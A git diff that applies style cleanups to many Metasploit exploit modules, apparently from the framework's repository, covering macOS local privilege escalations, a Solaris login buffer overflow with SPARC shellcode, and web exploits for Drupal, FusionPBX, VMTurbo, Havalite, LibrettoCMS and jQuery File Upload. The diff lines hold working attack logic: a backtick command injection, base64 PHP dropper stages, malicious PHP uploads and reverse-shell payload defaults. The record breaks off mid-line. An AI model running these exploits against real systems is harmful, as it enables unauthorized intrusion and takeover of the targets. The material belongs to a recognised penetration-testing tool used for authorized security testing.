'DefaultTarget' => 0, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, @@ -53,8 +53,8 @@ class MetasploitModule < Msf::Exploit::Local ) register_options [ # These are not OptPath because it's a *remote* path - OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]), - OptString.new("Viscosity", [ true, "Path to setuid ViscosityHelper executable", "/Applications/Viscosity.app/Contents/Resources/ViscosityHelper" ]) + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), + OptString.new('Viscosity', [ true, 'Path to setuid ViscosityHelper executable', '/Applications/Viscosity.app/Contents/Resources/ViscosityHelper' ]) ] end @@ -68,7 +68,7 @@ class MetasploitModule < Msf::Exploit::Local return CheckCode::Safe end - check = cmd_exec("find #{datastore["Viscosity"]} -type f -user root -perm -4000") + check = cmd_exec("find #{datastore['Viscosity']} -type f -user root -perm -4000") unless check.include? 'ViscosityHelper' return CheckCode::Safe @@ -115,15 +115,15 @@ class MetasploitModule < Msf::Exploit::Local print_status("Dropping python #{@python_file}...") write_file(@python_file, evil_python) - print_status("Creating symlink...") + print_status('Creating symlink...') link_name = rand_text_alpha(8) @link = "#{base_dir}/#{link_name}" - cmd_exec "ln -s -f -v #{datastore["Viscosity"]} #{@link}" + cmd_exec "ln -s -f -v #{datastore['Viscosity']} #{@link}" - print_status("Running...") + print_status('Running...') begin cmd_exec "#{@link}" - rescue + rescue StandardError print_error("Failed. Cleaning files #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}...") clean return diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb index f621b2c98f..88c32c6cc2 100644 --- a/modules/exploits/osx/local/sudo_password_bypass.rb +++ b/modules/exploits/osx/local/sudo_password_bypass.rb @@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Exploit::EXE include Msf::Exploit::FileDropper - SYSTEMSETUP_PATH = "/usr/sbin/systemsetup" + SYSTEMSETUP_PATH = '/usr/sbin/systemsetup' VULNERABLE_VERSION_RANGES = [['1.6.0', '1.7.10p6'], ['1.8.0', '1.8.6p6']] CMD_TIMEOUT = 45 @@ -107,23 +107,23 @@ class MetasploitModule < Msf::Exploit::Local # ensure target is vulnerable by checking sudo vn and checking # user is in admin group. def check - if cmd_exec("sudo -V") =~ /version\s+([^\s]*)\s*$/ - sudo_vn = $1 - sudo_vn_parts = sudo_vn.split(/[\.p]/).map(&:to_i) + if cmd_exec('sudo -V') =~ /version\s+([^\s]*)\s*$/ + sudo_vn = ::Regexp.last_match(1) + sudo_vn.split(/[.p]/).map(&:to_i) # check vn between 1.6.0 through 1.7.10p6 # and 1.8.0 through 1.8.6p6 - if not vn_bt(sudo_vn, VULNERABLE_VERSION_RANGES) + if !vn_bt(sudo_vn, VULNERABLE_VERSION_RANGES) vprint_error "sudo version #{sudo_vn} not vulnerable." return CheckCode::Safe end else - vprint_error "sudo not detected on the system." + vprint_error 'sudo not detected on the system.' return CheckCode::Safe end # check that the user is in OSX's admin group, necessary to change sys clock unless is_admin? - vprint_error "sudo version is vulnerable, but user is not in the admin group (necessary to change the date)." + vprint_error 'sudo version is vulnerable, but user is not in the admin group (necessary to change the date).' return CheckCode::Safe end @@ -145,9 +145,9 @@ class MetasploitModule < Msf::Exploit::Local end # "remember" the current system time/date/network/zone - print_good("User is an admin, continuing...") + print_good('User is an admin, continuing...') - print_status("Saving system clock config...") + print_status('Saving system clock config...') @time = cmd_exec("#{SYSTEMSETUP_PATH} -gettime").match(/^time: (.*)$/i)[1] @date = cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match(/^date: (.*)$/i)[1] @networked = cmd_exec("#{SYSTEMSETUP_PATH} -getusingnetworktime") =~ (/On$/) @@ -161,7 +161,7 @@ class MetasploitModule < Msf::Exploit::Local def cleanup if @clock_changed - print_status("Resetting system clock to original values") if @time + print_status('Resetting system clock to original values') if @time cmd_exec("#{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}") unless @zone.nil? cmd_exec("#{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}") unless @date.nil? cmd_exec("#{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}") unless @time.nil? @@ -171,9 +171,9 @@ class MetasploitModule < Msf::Exploit::Local cmd_exec("#{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}") end end - print_good("Completed clock reset.") + print_good('Completed clock reset.') else - print_status "Skipping cleanup since the clock was never changed" + print_status 'Skipping cleanup since the clock was never changed' end super @@ -186,10 +186,10 @@ class MetasploitModule < Msf::Exploit::Local cmd_exec( "sudo -k; \n" + "#{SYSTEMSETUP_PATH} -setusingnetworktime Off -settimezone GMT" + - " -setdate 01:01:1970 -settime 00:00" + ' -setdate 01:01:1970 -settime 00:00' ) - if not cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match("1/1/1970") - fail_with(Failure::NoAccess, "Date and time preference pane appears to be locked. By default, this pane is unlocked upon login.") + if !cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match('1/1/1970') + fail_with(Failure::NoAccess, 'Date and time preference pane appears to be locked. By default, this pane is unlocked upon login.') else @clock_changed = true end @@ -200,22 +200,22 @@ class MetasploitModule < Msf::Exploit::Local write_file(drop_path, generate_payload_exe) register_files_for_cleanup(drop_path) cmd_exec("chmod +x #{[drop_path].shelljoin}") - print_status("Payload dropped and registered for cleanup") + print_status('Payload dropped and registered for cleanup') end # Run Test - test = rand_text_alpha(4 + rand(4)) + test = rand_text_alpha(rand(4..7)) sudo_cmd_test = ['sudo', '-S', ["echo #{test}"].shelljoin].join(' ') - print_status("Testing that user has sudoed before...") + print_status('Testing that user has sudoed before...') output = cmd_exec('echo "" | ' + sudo_cmd_test) if output =~ /incorrect password attempts\s*$/i - fail_with(Failure::NotFound, "User has never run sudo, and is therefore not vulnerable. Bailing.") + fail_with(Failure::NotFound, 'User has never run sudo, and is therefore not vulnerable. Bailing.') elsif output =~ /#{test}/ - print_good("Test executed succesfully. Running payload.") + print_good('Test executed succesfully. Running payload.') else - print_error("Unknown fail while testing, trying to execute the payload anyway...") + print_error('Unknown fail while testing, trying to execute the payload anyway...') end # Run Payload @@ -229,9 +229,9 @@ class MetasploitModule < Msf::Exploit::Local ## backgrounding the sudo payload in order to keep both sessions usable sudo_cmd = 'echo "" | ' + sudo_cmd_raw + ' & true' - print_status "Running command: " + print_status 'Running command: ' print_line sudo_cmd - output = cmd_exec(sudo_cmd) + cmd_exec(sudo_cmd) end # default cmd_exec timeout to CMD_TIMEOUT constant @@ -254,7 +254,7 @@ class MetasploitModule < Msf::Exploit::Local # helper methods for dealing with sudo's vn num def parse_vn(vn_str) - vn_str.split(/[\.p]/).map(&:to_i) + vn_str.split(/[.p]/).map(&:to_i) end def vn_bt(vn, ranges) # e.g. ('1.7.1', [['1.7.0', '1.7.6p44']]) @@ -265,8 +265,8 @@ class MetasploitModule < Msf::Exploit::Local vn_parts.all? do |part| min = min_parts.shift max = max_parts.shift - (min.nil? or (not part.nil? and part >= min)) and - (part.nil? or (not max.nil? and part <= max)) + (min.nil? or (!part.nil? and part >= min)) and + (part.nil? or (!max.nil? and part <= max)) end end end diff --git a/modules/exploits/osx/local/vmware_bash_function_root.rb b/modules/exploits/osx/local/vmware_bash_function_root.rb index 3ab4b51971..a40628fcf7 100644 --- a/modules/exploits/osx/local/vmware_bash_function_root.rb +++ b/modules/exploits/osx/local/vmware_bash_function_root.rb @@ -57,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Local ) register_options [ - OptString.new('VMWARE_PATH', [true, "The path to VMware.app", '/Applications/VMware Fusion.app']), + OptString.new('VMWARE_PATH', [true, 'The path to VMware.app', '/Applications/VMware Fusion.app']), ] register_advanced_options [ OptString.new('WritableDir', [true, 'Writable directory', '/tmp']) @@ -99,7 +99,7 @@ class MetasploitModule < Msf::Exploit::Local fail_with Failure::BadConfig, "#{base_dir} is not writable" end - payload_file = "#{base_dir}/.#{Rex::Text::rand_text_alpha_lower(8..12)}" + payload_file = "#{base_dir}/.#{Rex::Text.rand_text_alpha_lower(8..12)}" exe = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded) upload payload_file, exe cmd_exec "chmod +x #{payload_file}" diff --git a/modules/exploits/solaris/dialup/manyargs.rb b/modules/exploits/solaris/dialup/manyargs.rb index 4717ab0fd4..cda2eea52b 100644 --- a/modules/exploits/solaris/dialup/manyargs.rb +++ b/modules/exploits/solaris/dialup/manyargs.rb @@ -15,8 +15,8 @@ class MetasploitModule < Msf::Exploit::Remote super( update_info( info, - 'Name' => 'System V Derived /bin/login Extraneous Arguments Buffer Overflow', - 'Description' => %q{ + 'Name' => 'System V Derived /bin/login Extraneous Arguments Buffer Overflow', + 'Description' => %q{ This exploit connects to a system's modem over dialup and exploits a buffer overflow vulnerability in it's System V derived /bin/login. The vulnerability is triggered by providing a large number of arguments. @@ -31,10 +31,10 @@ class MetasploitModule < Msf::Exploit::Remote ['URL', 'https://github.com/0xdea/exploits/blob/master/solaris/raptor_rlogin.c'], ], 'Author' => [ - 'I)ruid', + 'I)ruid' ], - 'Arch' => ARCH_TTY, - 'License' => MSF_LICENSE, + 'Arch' => ARCH_TTY, + 'License' => MSF_LICENSE, 'Payload' => { 'Space' => 3000, 'BadChars' => '', @@ -52,8 +52,8 @@ class MetasploitModule < Msf::Exploit::Remote "\x94\x10\x20\x00\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xcb\xdc" \ "\xa2\x14\x63\x68\xd4\x23\xbf\xfc\xe2\x23\xbf\xf8\xe0\x23\xbf\xf4" \ "\x90\x23\xa0\x0c\xd4\x23\xbf\xf0\xd0\x23\xbf\xec\x92\x23\xa0\x14" \ - "\x82\x10\x20\x3b\x91\xd0\x20\x08\x82\x10\x20\x01\x91\xd0\x20\x08", - 'NOP' => "\x90\x1b\x80\x0e" + "\x82\x10\x20\x3b\x91\xd0\x20\x08\x82\x10\x20\x01\x91\xd0\x20\x08".b, + 'NOP' => "\x90\x1b\x80\x0e".b } ], ], diff --git a/modules/exploits/unix/http/pfsense_diag_routes_webshell.rb b/modules/exploits/unix/http/pfsense_diag_routes_webshell.rb index d2b75cb44a..fbe5a96cbb 100644 --- a/modules/exploits/unix/http/pfsense_diag_routes_webshell.rb +++ b/modules/exploits/unix/http/pfsense_diag_routes_webshell.rb @@ -47,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote 'PAYLOAD' => 'cmd/unix/reverse_openssl' }, 'Payload' => { - 'Append' => ' & disown' + 'Append' => '& disown' } } ], diff --git a/modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb b/modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb index effa2c8641..d481714f40 100644 --- a/modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb +++ b/modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb @@ -75,28 +75,28 @@ class MetasploitModule < Msf::Exploit::Remote begin res = send_request_cgi({ 'method' => 'GET', - 'uri' => "/cgi-bin/vmtadmin.cgi", + 'uri' => '/cgi-bin/vmtadmin.cgi', 'vars_get' => { - "callType" => "ACTION", - "actionType" => "VERSIONS" + 'callType' => 'ACTION', + 'actionType' => 'VERSIONS' } }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - vprint_error("Failed to connect to the web server") + vprint_error('Failed to connect to the web server') return Exploit::CheckCode::Unknown end - if res and res.code == 200 and res.body =~ /vmtbuild:([\d]+),vmtrelease:([\d.]+),vmtbits:[\d]+,osbits:[\d]+/ - version = $2 - build = $1 + if res and res.code == 200 and res.body =~ /vmtbuild:(\d+),vmtrelease:([\d.]+),vmtbits:\d+,osbits:\d+/ + version = ::Regexp.last_match(2) + build = ::Regexp.last_match(1) vprint_status("VMTurbo Operations Manager version #{version} build #{build} detected") else - vprint_status("Unexpected vmtadmin.cgi response") + vprint_status('Unexpected vmtadmin.cgi response') return Exploit::CheckCode::Unknown end - # NOTE (@todb): This PHP style comparison seems incorrect, since + # NOTE: (@todb): This PHP style comparison seems incorrect, since # strings are being compared and not numbers. Example: # 1.9.3p547 :001 > a = "4.6" # => "4.6" @@ -106,26 +106,26 @@ class MetasploitModule < Msf::Exploit::Remote # # Also, the description says 4.5 is also vuln. This doesn't # appear to care. - if version and version <= "4.6" and build < "28657" + if version and version <= '4.6' and build < '28657' return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end - def execute_command(cmd, opts) + def execute_command(cmd, _opts) begin - res = send_request_cgi({ + send_request_cgi({ 'uri' => '/cgi-bin/vmtadmin.cgi', 'method' => 'GET', 'vars_get' => { - "callType" => "DOWN", - "actionType" => "CFGBACKUP", - "fileDate" => "\"`#{cmd}`\"" + 'callType' => 'DOWN', + 'actionType' => 'CFGBACKUP', + 'fileDate' => "\"`#{cmd}`\"" } }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - vprint_error("Failed to connect to the web server") + vprint_error('Failed to connect to the web server') return nil end @@ -142,11 +142,11 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::Unknown, "#{peer} - Unable to execute payload") end - print_status("Blind Exploitation - unknown exploitation state") + print_status('Blind Exploitation - unknown exploitation state') return end # Handle payload upload using CmdStager mixin - execute_cmdstager({ :flavor => :printf }) + execute_cmdstager({ flavor: :printf }) end end diff --git a/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb b/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb index a6d8468810..f1e4b3248c 100644 --- a/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb +++ b/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb @@ -49,89 +49,113 @@ class MetasploitModule < Msf::Exploit::Remote # [ 'Automatic (PHP In-Memory)', - 'Platform' => 'php', - 'Arch' => ARCH_PHP, - 'Type' => :php_memory + { + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Type' => :php_memory + } ], [ 'Automatic (PHP Dropper)', - 'Platform' => 'php', - 'Arch' => ARCH_PHP, - 'Type' => :php_dropper + { + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Type' => :php_dropper + } ], [ 'Automatic (Unix In-Memory)', - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'Type' => :unix_memory + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_memory + } ], [ 'Automatic (Linux Dropper)', - 'Platform' => 'linux', - 'Arch' => [ARCH_X86, ARCH_X64], - 'Type' => :linux_dropper + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Type' => :linux_dropper + } ], # # Drupal 7.x targets (PHP, cmd/unix, native) # [ 'Drupal 7.x (PHP In-Memory)', - 'Platform' => 'php', - 'Arch' => ARCH_PHP, - 'Version' => Rex::Version.new('7'), - 'Type' => :php_memory + { + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Version' => Rex::Version.new('7'), + 'Type' => :php_memory + } ], [ 'Drupal 7.x (PHP Dropper)', - 'Platform' => 'php', - 'Arch' => ARCH_PHP, - 'Version' => Rex::Version.new('7'), - 'Type' => :php_dropper + { + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Version' => Rex::Version.new('7'), + 'Type' => :php_dropper + } ], [ 'Drupal 7.x (Unix In-Memory)', - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'Version' => Rex::Version.new('7'), - 'Type' => :unix_memory + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Version' => Rex::Version.new('7'), + 'Type' => :unix_memory + } ], [ 'Drupal 7.x (Linux Dropper)', - 'Platform' => 'linux', - 'Arch' => [ARCH_X86, ARCH_X64], - 'Version' => Rex::Version.new('7'), - 'Type' => :linux_dropper + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Version' => Rex::Version.new('7'), + 'Type' => :linux_dropper + } ], # # Drupal 8.x targets (PHP, cmd/unix, native) # [ 'Drupal 8.x (PHP In-Memory)', - 'Platform' => 'php', - 'Arch' => ARCH_PHP, - 'Version' => Rex::Version.new('8'), - 'Type' => :php_memory + { + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Version' => Rex::Version.new('8'), + 'Type' => :php_memory + } ], [ 'Drupal 8.x (PHP Dropper)', - 'Platform' => 'php', - 'Arch' => ARCH_PHP, - 'Version' => Rex::Version.new('8'), - 'Type' => :php_dropper + { + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Version' => Rex::Version.new('8'), + 'Type' => :php_dropper + } ], [ 'Drupal 8.x (Unix In-Memory)', - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'Version' => Rex::Version.new('8'), - 'Type' => :unix_memory + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Version' => Rex::Version.new('8'), + 'Type' => :unix_memory + } ], [ 'Drupal 8.x (Linux Dropper)', - 'Platform' => 'linux', - 'Arch' => [ARCH_X86, ARCH_X64], - 'Version' => Rex::Version.new('8'), - 'Type' => :linux_dropper + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Version' => Rex::Version.new('8'), + 'Type' => :linux_dropper + } ] ], 'DefaultTarget' => 0, # Automatic (PHP In-Memory) @@ -249,12 +273,12 @@ class MetasploitModule < Msf::Exploit::Remote dropper = Rex::Text.encode_base64(dropper) # Stage 1 decodes the PHP and writes it to disk - stage1 = %Q{ + stage1 = %{ file_put_contents("#{php_file}", base64_decode("#{dropper}")); } # Stage 2 executes said PHP in-process - stage2 = %Q{ + stage2 = %{ include_once("#{php_file}"); } diff --git a/modules/exploits/unix/webapp/drupal_restws_unserialize.rb b/modules/exploits/unix/webapp/drupal_restws_unserialize.rb index b51a604938..ae63744c10 100644 --- a/modules/exploits/unix/webapp/drupal_restws_unserialize.rb +++ b/modules/exploits/unix/webapp/drupal_restws_unserialize.rb @@ -49,22 +49,26 @@ class MetasploitModule < Msf::Exploit::Remote 'Targets' => [ [ 'PHP In-Memory', - 'Platform' => 'php', - 'Arch' => ARCH_PHP, - 'Type' => :php_memory, - 'Payload' => { 'BadChars' => "'" }, - 'DefaultOptions' => { - 'PAYLOAD' => 'php/meterpreter/reverse_tcp' + { + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Type' => :php_memory, + 'Payload' => { 'BadChars' => "'" }, + 'DefaultOptions' => { + 'PAYLOAD' => 'php/meterpreter/reverse_tcp' + } } ], [ 'Unix In-Memory', - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'Type' => :unix_memory, - 'DefaultOptions' => { - 'PAYLOAD' => 'cmd/unix/generic', - 'CMD' => 'id' + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_memory, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/generic', + 'CMD' => 'id' + } } ] ], @@ -157,7 +161,7 @@ class MetasploitModule < Msf::Exploit::Remote end end - def execute_command(cmd, opts = {}) + def execute_command(cmd, _opts = {}) vprint_status("Executing with system(): #{cmd}") # https://en.wikipedia.org/wiki/Hypertext_Application_Language diff --git a/modules/exploits/unix/webapp/fusionpbx_exec_cmd_exec.rb b/modules/exploits/unix/webapp/fusionpbx_exec_cmd_exec.rb index bcb5dc93f9..0f18763ae8 100644 --- a/modules/exploits/unix/webapp/fusionpbx_exec_cmd_exec.rb +++ b/modules/exploits/unix/webapp/fusionpbx_exec_cmd_exec.rb @@ -33,24 +33,30 @@ class MetasploitModule < Msf::Exploit::Remote 'Targets' => [ [ 'Automatic (PHP In-Memory)', - 'Platform' => 'php', - 'Arch' => ARCH_PHP, - 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }, - 'Type' => :php_memory + { + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }, + 'Type' => :php_memory + } ], [ 'Automatic (Unix In-Memory)', - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' }, - 'Type' => :unix_memory + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' }, + 'Type' => :unix_memory + } ], [ 'Automatic (Linux Dropper)', - 'Platform' => 'linux', - 'Arch' => [ARCH_X86, ARCH_X64], - 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }, - 'Type' => :linux_dropper + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }, + 'Type' => :linux_dropper + } ] ], 'Privileged' => false, @@ -186,7 +192,7 @@ class MetasploitModule < Msf::Exploit::Remote when :unix_memory execute_command(payload.encoded, handler: 'shell') when :linux_dropper - execute_cmdstager(:linemax => 1_500, handler: 'shell') + execute_cmdstager(linemax: 1_500, handler: 'shell') end end end diff --git a/modules/exploits/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec.rb b/modules/exploits/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec.rb index 0fd672e8be..87ae4f6527 100644 --- a/modules/exploits/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec.rb +++ b/modules/exploits/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec.rb @@ -42,17 +42,21 @@ class MetasploitModule < Msf::Exploit::Remote 'Targets' => [ [ 'Automatic (Unix In-Memory)', - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' }, - 'Type' => :unix_memory + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' }, + 'Type' => :unix_memory + } ], [ 'Automatic (Linux Dropper)', - 'Platform' => 'linux', - 'Arch' => [ARCH_X86, ARCH_X64], - 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }, - 'Type' => :linux_dropper + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }, + 'Type' => :linux_dropper + } ] ], 'Privileged' => false, @@ -128,7 +132,7 @@ class MetasploitModule < Msf::Exploit::Remote CheckCode::Safe end - def execute_command(cmd, opts = {}) + def execute_command(cmd, _opts = {}) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'app/operator_panel/exec.php'), 'cookie' => "PHPSESSID=#{@cookie}", @@ -165,7 +169,7 @@ class MetasploitModule < Msf::Exploit::Remote when :unix_memory execute_command(payload.encoded) when :linux_dropper - execute_cmdstager(:linemax => 1_500) + execute_cmdstager(linemax: 1_500) end end end diff --git a/modules/exploits/unix/webapp/havalite_upload_exec.rb b/modules/exploits/unix/webapp/havalite_upload_exec.rb index cebf767a38..b55d393761 100644 --- a/modules/exploits/unix/webapp/havalite_upload_exec.rb +++ b/modules/exploits/unix/webapp/havalite_upload_exec.rb @@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote super( update_info( info, - 'Name' => "Havalite CMS Arbitary File Upload Vulnerability", + 'Name' => 'Havalite CMS Arbitary File Upload Vulnerability', 'Description' => %q{ This module exploits a file upload vulnerability found in Havalite CMS 1.1.7, and possibly prior. Attackers can abuse the upload feature in order to upload a @@ -64,15 +64,15 @@ class MetasploitModule < Msf::Exploit::Remote uri = normalize_uri(target_uri.path, 'havalite/') res = send_request_raw({ 'uri' => uri }) - if not res - vprint_error("Connection timed out") + if !res + vprint_error('Connection timed out') return Exploit::CheckCode::Unknown end - js_src = res.body.scan(/<script type="text\/javascript">(.+)<\/script>/im).flatten[0] || '' + js_src = res.body.scan(%r{<script type="text/javascript">(.+)</script>}im).flatten[0] || '' version = js_src.scan(/var myVersion = '(.+)';/).flatten[0] || '' - if not version.empty? and version =~ /1\.1\.7/ + if !version.empty? and version =~ /1\.1\.7/ vprint_status("Version found: #{version}") return Exploit::CheckCode::Appears end @@ -84,11 +84,11 @@ class MetasploitModule < Msf::Exploit::Remote # Uploads our malicious file # def upload(base) - p = get_write_exec_payload(:unlink_self => true) + p = get_write_exec_payload(unlink_self: true) fname = "#{rand_text_alpha(5)}.php" data = Rex::MIME::Message.new - data.add_part(p, "application/octet-stream", nil, "form-data; name=\"files[]\"; filename=\"#{fname}\"") + data.add_part(p, 'application/octet-stream', nil, "form-data; name=\"files[]\"; filename=\"#{fname}\"") post_data = data.to_s res = send_request_cgi({ @@ -98,11 +98,11 @@ class MetasploitModule < Msf::Exploit::Remote 'data' => post_data }) - if not res + if !res fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading") elsif res.code.to_i == 404 fail_with(Failure::NotFound, "#{peer} - No upload.php found") - elsif res.body =~ /"error"\:"abort"/ + elsif res.body =~ /"error":"abort"/ fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}") end @@ -125,7 +125,7 @@ class MetasploitModule < Msf::Exploit::Remote def exploit base = target_uri.path - print_status("Uploading malicious file...") + print_status('Uploading malicious file...') fname = upload(base) print_status("Executing #{fname}...") diff --git a/modules/exploits/unix/webapp/jquery_file_upload.rb b/modules/exploits/unix/webapp/jquery_file_upload.rb index 6f1bdcda2a..baf992a5f3 100644 --- a/modules/exploits/unix/webapp/jquery_file_upload.rb +++ b/modules/exploits/unix/webapp/jquery_file_upload.rb @@ -46,8 +46,8 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Privileged' => false, 'Targets' => [ - ['PHP Dropper', 'Platform' => 'php', 'Arch' => ARCH_PHP], - ['Linux Dropper', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64]] + ['PHP Dropper', { 'Platform' => 'php', 'Arch' => ARCH_PHP }], + ['Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64] }] ], 'DefaultTarget' => 0, 'Notes' => { @@ -95,8 +95,8 @@ class MetasploitModule < Msf::Exploit::Remote next unless res unless a - res.headers['Server'] =~ /Apache\/([\d.]+)/ && - $1 && (a = Rex::Version.new($1)) + res.headers['Server'] =~ %r{Apache/([\d.]+)} && + ::Regexp.last_match(1) && (a = Rex::Version.new(::Regexp.last_match(1))) if a && a >= Rex::Version.new('2.3.9') vprint_good("Found Apache #{a} (AllowOverride None may be set)") diff --git a/modules/exploits/unix/webapp/libretto_upload_exec.rb b/modules/exploits/unix/webapp/libretto_upload_exec.rb index 5152b77a61..2f34193532 100644 --- a/modules/exploits/unix/webapp/libretto_upload_exec.rb +++ b/modules/exploits/unix/webapp/libretto_upload_exec.rb @@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote super( update_info( info, - 'Name' => "LibrettoCMS File Manager Arbitary File Upload Vulnerability", + 'Name' => 'LibrettoCMS File Manager Arbitary File Upload Vulnerability', 'Description' => %q{ This module exploits a file upload vulnerability found in LibrettoCMS 1.1.7, and possibly prior. Attackers can bypass the file extension check and abuse the upload @@ -57,8 +57,8 @@ class MetasploitModule < Msf::Exploit::Remote def check res = send_request_raw({ 'uri' => normalize_uri(target_uri.path) }) - if not res - vprint_error("Connection timed out") + if !res + vprint_error('Connection timed out') return Exploit::CheckCode::Unknown end @@ -70,12 +70,12 @@ class MetasploitModule < Msf::Exploit::Remote end def upload(base) - p = get_write_exec_payload(:unlink_self => true) + p = get_write_exec_payload(unlink_self: true) fname = "#{Rex::Text.rand_text_alpha(6)}.pdf" data = Rex::MIME::Message.new - data.add_part(fname, nil, nil, "form-data; name=\"Filename\"") - data.add_part(p, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{fname}\"") + data.add_part(fname, nil, nil, 'form-data; name="Filename"') + data.add_part(p, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{fname}\"") data.add_part('Submit Query', nil, nil, 'form-data; name="Upload"') post_data = data.to_s @@ -89,10 +89,10 @@ class MetasploitModule < Msf::Exploit::Remote 'vars_get' => { 'type' => 'all files' } }) - if not res + if !res fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading") elsif res.code.to_i != 200 - fail_with(Failure::UnexpectedReply, "#{peer} - Unknown reply: #{res.code.to_s}") + fail_with(Failure::UnexpectedReply, "#{peer} - Unknown reply: #{res.code}") end fname @@ -113,7 +113,7 @@ class MetasploitModule < Msf::Exploit::Remote } }) - if not res + if !res fail_with(Failure::Unknown, "#{peer} - Request timed out while renaming") elsif res.body !~ /"res":"OK"/ fail_with(Failure::Unknown, "#{peer} - Failed to rename file") @@ -132,7 +132,7 @@ class MetasploitModule < Msf::Exploit::Remote def exploit base = target_uri.path - print_status("Uploading malicious file...") + print_status('Uploading malicious file...') orig_fname = upload(base) print_status("Renaming #{orig_fname}...") diff --git a/modules/exploits/unix/webapp/nagios3_history_cgi.rb b/modules/exploits/unix/webapp/nagios3_history_cgi.rb index 83355cfb6b..7e882423f1 100644 --- a/modules/exploits/unix/webapp/nagios3_history_cgi.rb +++ b/modules/exploits/unix/webapp/nagios3_history_cgi.rb @@ -31,11 +31,11 @@ class MetasploitModule < Msf::Exploit::Remote [ 'BID', '56879' ], [ 'EDB', '24084' ] ], - 'Platform' => %w{linux unix}, + 'Platform' => %w[linux unix], 'Privileged' => false, 'Payload' => { 'Space' => 200, # Due to a system() parameter length limitation - 'BadChars' => '', # It'll be base64 encoded + 'BadChars' => '' # It'll be base64 encoded }, 'Targets' => [ [ 'Automatic Target', { 'auto' => true }], @@ -89,9 +89,9 @@ class 